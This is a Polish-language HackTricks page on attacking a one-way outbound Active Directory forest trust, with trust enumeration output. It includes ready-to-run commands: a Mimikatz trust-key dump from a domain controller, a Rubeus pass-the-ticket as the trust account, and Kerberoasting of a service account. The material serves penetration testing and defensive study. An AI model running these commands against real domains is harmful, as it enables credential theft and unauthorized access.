hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md

6.9 KiB

Zewnętrzna domena lasu - Jednokierunkowy (wychodzący)

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

W tym scenariuszu twoja domena udziela pewnych uprawnień podmiotowi z innych domen.

Wyliczanie

Zaufanie wychodzące

# Notice Outbound trust
Get-DomainTrust
SourceName      : root.local
TargetName      : ext.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain             : root.local
GroupName               : External Users
GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain            : root.io
MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)

Atak na konto zaufania

Istnieje podatność na atak, gdy relacja zaufania jest ustanowiona między dwoma domenami, zidentyfikowanymi tutaj jako domena A i domena B, gdzie domena B rozszerza swoje zaufanie do domeny A. W tej konfiguracji specjalne konto jest tworzone w domenie A dla domeny B, które odgrywa kluczową rolę w procesie uwierzytelniania między dwiema domenami. To konto, powiązane z domeną B, jest wykorzystywane do szyfrowania biletów umożliwiających dostęp do usług między domenami.

Kluczowym aspektem do zrozumienia tutaj jest to, że hasło i skrót tego specjalnego konta mogą być wyodrębnione z kontrolera domeny w domenie A za pomocą narzędzia wiersza poleceń. Polecenie do wykonania tej czynności to:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local

To wydobycie jest możliwe, ponieważ konto, zidentyfikowane za pomocą $ po swojej nazwie, jest aktywne i należy do grupy "Domain Users" domeny A, co oznacza dziedziczenie uprawnień związanych z tą grupą. Pozwala to osobom uwierzytelniać się w domenie A za pomocą poświadczeń tego konta.

Ostrzeżenie: Możliwe jest wykorzystanie tej sytuacji do uzyskania punktu zaczepienia w domenie A jako użytkownik, chociaż z ograniczonymi uprawnieniami. Jednak ten dostęp wystarcza do przeprowadzenia enumeracji w domenie A.

W scenariuszu, gdzie ext.local jest domeną ufającą, a root.local jest domeną zaufaną, konto użytkownika o nazwie EXT$ zostanie utworzone w root.local. Za pomocą konkretnych narzędzi możliwe jest wydobycie kluczy zaufania Kerberos, ujawniając poświadczenia EXT$ w root.local. Polecenie do osiągnięcia tego to:

lsadump::trust /patch

Następnie można użyć wydobytego klucza RC4 do uwierzytelnienia jako root.local\EXT$ w root.local za pomocą innego polecenia narzędzia:

.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt

To uwierzytelnienie otwiera możliwość wyliczenia, a nawet wykorzystania usług w root.local, takich jak przeprowadzenie ataku Kerberoast w celu wydobycia poświadczeń konta usługi za pomocą:

.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local

Pozyskiwanie hasła zaufania w tekście jawnym

W poprzednim przepływie użyto hasha zaufania zamiast hasła w tekście jawnym (które również zostało wydobyte przez mimikatz).

Hasło w tekście jawnym można uzyskać, konwertując wynik [ CLEAR ] z mimikatz z szesnastkowego i usuwając bajty null ' \x00 ':

Czasami podczas tworzenia relacji zaufania, użytkownik musi wpisać hasło dla zaufania. W tej demonstracji kluczem jest oryginalne hasło zaufania i dlatego jest czytelne dla ludzi. Ponieważ klucz cykluje (co 30 dni), hasło w tekście jawnym nie będzie czytelne dla ludzi, ale technicznie nadal użyteczne.

Hasło w tekście jawnym można użyć do wykonywania regularnej autoryzacji jako konta zaufania, alternatywnie do żądania TGT za pomocą tajnego klucza Kerberosa konta zaufania. Tutaj, zapytanie root.local z ext.local o członków Administratorów domeny:

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: